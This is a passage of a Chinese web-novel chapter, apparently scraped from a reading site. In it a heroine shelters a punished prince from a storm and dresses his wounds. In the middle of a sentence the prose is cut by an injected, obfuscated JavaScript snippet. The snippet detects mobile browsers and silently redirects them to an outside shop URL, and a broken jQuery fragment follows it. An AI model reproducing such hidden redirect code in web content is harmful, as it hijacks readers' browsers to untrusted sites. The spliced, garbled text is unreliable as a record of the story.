渐进的低喘声略显急促,一股山茶花香迎面扑来的瞬间,不断低落在祁厌身上的雨水仿佛被什么阻隔,一时间,难言的感觉盘旋在心头。
低垂着眉眼。祁厌一向漫不经心的面上闪过一丝无措。
他很快缓过神来,头微微偏转,视线定在了少女淡色裙摆下被雨水浸透的精巧绣鞋上。
祁厌苍白着脸抬起首,睫毛上的雨滴受力垂落,滴进少年的瞳孔,惹的他双眸难耐的微颤。
“……芈小姐?”
轻如羽毛般的话语于芈岁耳旁拂过,她略微有些听不清,不由弯下腰身将耳侧过来,耐着性子问了一遍:“你说什么?”
芈岁低着身子,微敞的衣领下垂,露出少女细嫩洁白的颈。再往下,是一对微微显露的精致锁骨,一直往后延伸……
望着眼前近在咫尺的少女,山茶花的香气裹挟着祁厌周身,那浓郁的血腥气都被压下去些许。
祁厌下意识将头扭在一边,克制的不再看,耳尖却隐隐泛出不自然的红。
他这次声音大了些:“芈小姐,你怎么……孤身一人,深夜来此?”
芈岁听清了,她整理了下裙摆,一手执伞,一手抱着膝蹲在祁厌身边,笑意盈盈的望他,目光透出一丝疼惜,却答非所问:“哎呀,几个时辰不见,你怎的将自己搞得如此狼狈?
还有,怎么还在叫我芈小姐?之前不都说过了嘛,我们是朋友了,私底下,我可以不称你为殿下,但你也不许再叫我这般生疏的名字。”
说罢,芈岁慢悠悠的声音又响起来:“你该不会……忘了我叫什么吧?”
祁厌下意识直视她的眸子,却在看见她眸中调侃的神色后躲开视线。
“……并未。”
芈岁失笑,不再逗他,也不去看祁厌是什么表情,她这才不紧不慢的回答起他的问题。
“今夜电闪雷鸣的我也睡不着,又想起你白日说被罚跪之事,闲着也是闲着,索性过来看看这大暴雨天你是不是还跪着。
而今一看,你果然是一根筋!忘了自己身上还有伤了?”
不再多说什么,芈岁一手执伞,一手扶着祁厌的肩就要将他一并拉起。
怎奈少年却一动不动,任她如何施力都无作用。
半晌,芈岁有些泄气:“你快起来吧,你背上的伤拖不了了!再跪下去伤口感染恶化,你搞不好会死的!”
少女挟暴雨而来,拖拖然出现于他的面前,身上半湿,整个人如同一只被打湿了羽毛无法飞起的小雀。
祁厌侧耳听着她叽叽喳喳说话,似乎觉得周围的暴雨声都轻了些许。
只是……死吗?他一条贱命,怎么会死的这般轻易。
这只蠢笨的小雀似乎对此有什么误解。
他颤着睫低声反驳她的话:“芈……”话头在唇畔打了几个转,后面那个岁字始终没有说出口。
“有人在看着。”
一旁早已站起的芈岁诧异,他不知道那人已经走了吗?
还是说……监视的那人一直都在暗处,她从系统那里得知人已经走了,可祁厌却不知道?
这么一想,芈岁越发觉得自己这一趟来的值。
她要是不来,祁厌岂不是要一直跪在这里,冒着雨,跪整整一夜?
这才四更天,换算成现代的时间,也就是凌晨一点到三点的样子……
芈岁暗暗摇头:“那人走了,我从荣华宫那边赶过来,这周围的犄角旮旯都看过了,有人我还能像现在这样站在你身边吗?”
早被轰走了好吧。
地上的少年似也觉得她说的有理,转头望着她,片刻后却又低下眸子:“多谢。”
说罢,没等芈岁再多说什么,祁厌已经晃着身形站了起来。
可他似乎对自己过于自信,站起来的瞬间膝盖一软,险些晕倒过去。
芈岁见状赶忙扔下手里的伞去扶他,两人再次成了两只落水鸭。
待稳住祁厌,她匆匆将伞从地上拾起,芈岁顾不得脚下积水,“哗啦啦”的快步走向竹华殿,推开殿门,错过了身后少年眸中一闪而过的幽深。
这么晚,这么大的雨,她竟也是寻来了?
祁厌心里的怀疑未消,勉强忽略心中那阵未知的悸动,他微微拧眉。
看不懂。
他看不懂芈岁究竟要做什么。
他身上有什么是值得她如此费心的?
……
进了殿门,芈岁扶他到主殿躺下。
“还好今天的那瓶金疮药还没用完,不然现在可真是没办法了。”
芈岁呢喃。
她催促:“快将身上这血衣脱了,怪瘆得慌。”
说着,她背过身去捣鼓着那瓶被用了一半的金疮药。
祁厌不动声色的望着她的背影,久久没有动作。
芈岁等了许久都没有听到身后换衣服的声音,她不由得疑惑着回头望去。
这就与一直盯着她的祁厌对视了个正着。
少年瞳色微浅,仔细着看,似乎有些不近人情的样子。
此时,他冷冷地盯着芈岁的背影,面上不带一丝表情,这不由得让芈岁觉得慎得慌。
可这也不过只是短短一瞬间,祁厌就迅速收敛起自己的表情,面上重新挂上一副温柔的笑。
速度快的芈岁都以为自己看错了。
她定定观察了半晌,见祁厌还是满脸的温柔,这才松一口气。
可能是今天晚上太紧张了吧。
“你怎么还不换?是想让伤口溃烂发脓吗?”
收敛神色,祁厌淡淡开口:“我……这就换。”
祁厌动作十分迅速,不一会儿,就听他道:“我好了。”
芈岁从善如流的转过身去,就见他已经半伏在粗糙的榻上,这是准备好让芈岁再重复一遍白天的工作了。
见他如此省心,芈岁也松一口气。
他的后背被雨水无情的拍打了一个时辰,有的地方已经肿胀发脓,看起来可怖非常。
芈岁不由自主的屏住呼吸,转过头去寻一块干净的帕子。
视线一顿,她的目光停留在床前一个小矮几上。
上面正整整齐齐的平摊着一方绣着贪吃白兔的素色帕子。
有点眼熟?
芈岁回忆,这帕子怎么那么像她前些日子一直带在身上的那张?
仔细想来,那方帕子貌似在进过一次宫之后,就再也没有见到了,难不成是不慎掉在这里了?
可祁厌怎么将它放在了这?
她走上前拿起那块帕子,也没多想,找了一个乘着净水的木盆,将帕子清洗过后就拿去用了。
不多时,柔腻的触感出现在祁厌的后背,他撑在胸前骨节分明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318174|140365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的手倏的攥紧。
心里一直被他刻意忽略的那股微妙的感觉,又重新萦绕心头。
很快,这股微妙感被一阵刺痛代替。
是金疮药洒上来了。
……
额头上密密麻麻的汗珠不断滴在床褥上。这金疮药的药效猛烈,痛感自然也是加倍。
受到他的颤抖,芈岁手上的动作不由得放轻、再放轻。
“祁厌,你稍微忍耐一下,很快便好了,你这伤原本还没结痂,便被这雨水冲泡,疼是难免的。还好这次泡的时间不长,又提前上了药,伤口并没有全面恶化。
不过日后记得一定要好好保护着,否则可有你疼的了。”
少女柔柔的声音如同一阵轻纱,轻轻的裹挟着他的心脏,时不时的抽动一下,带出丝丝缕缕,细细密密的痒。
缓缓将头埋进被褥,祁厌沉闷着声音:“嗯。”
有那么一瞬间,祁厌不想再去思考芈岁到底有什么目的。
好乖啊。
芈岁见到祁厌这样的小动作,不由的失笑。
果然还是14岁的小孩子呢。
待上完了药,芈岁起身,转身之际手里抓紧了那块粘满血的帕子。
忽的一只手却从后面轻轻拉住了她的裙摆。
身后,少年眨着湿漉漉的眼:“你要去哪?”
芈岁俏皮的眨了眨眼,逗他:“去洗帕子啊,怎么,舍不得我啊。”
说罢,她感觉到裙子上的重量一轻,就见少年一言不发的缩回了脑袋。
她无声的笑起来,重新起身,走了出去。等再回来时又将手上的帕子叠成长条,轻轻盖在祁厌的额头上。
半阖着眼,祁厌苍白着脸,侧着身子蜷缩在床上。
静静盯着芈岁动作的他,自然已经看到了那方帕子的模样。
他耳尖重新泛上红色,神色有些微微的不自然:“这帕子原是你的……”
“嗯,我知道。”
祁厌拧眉:“你不问我?”
“问你做什么?左不过是我不小心落下了。”
“我是说,你不问我为什么没将帕子还给你?”
祁厌眸中带着一丝兴奋。
她会怎么回答?是会道貌岸然的说“一方帕子而已”之类的话,还是会生气他偷偷藏了她的帕子,怀疑他有什么不轨的心思?
若是就这样剖开来,直接问她接近自己有什么目的,是不是也不错?
芈岁轻笑,顺着他的话:“哦,那你为什么没将帕子还给我?”
祁厌一怔,他也不知道。
原本是想扔掉的。
但他表面上却是天衣无缝:“只是未找到合适的时机罢了。”
“我猜也是,说起来,要不是今日恰巧遇到,我还当不会再见了呢。毕竟,荣华宫距离你的竹华殿那么远。”
芈岁笑着开演。
顿了顿,她认真道:“说起来,今日之事,属实是委屈你了。”
“说笑了,有何委屈?何出此言?”
“今日偷了那玉琉璃之人,本不是你,如今却强行怪罪于你,怎么不委屈?”
这若是换成她在现代,怕是要委屈死了。
祁厌沉了眸子,静默半晌,他倏忽抬起眼皮,半是认真,半是玩笑的开口。
“芈岁,你真的这般相信我?”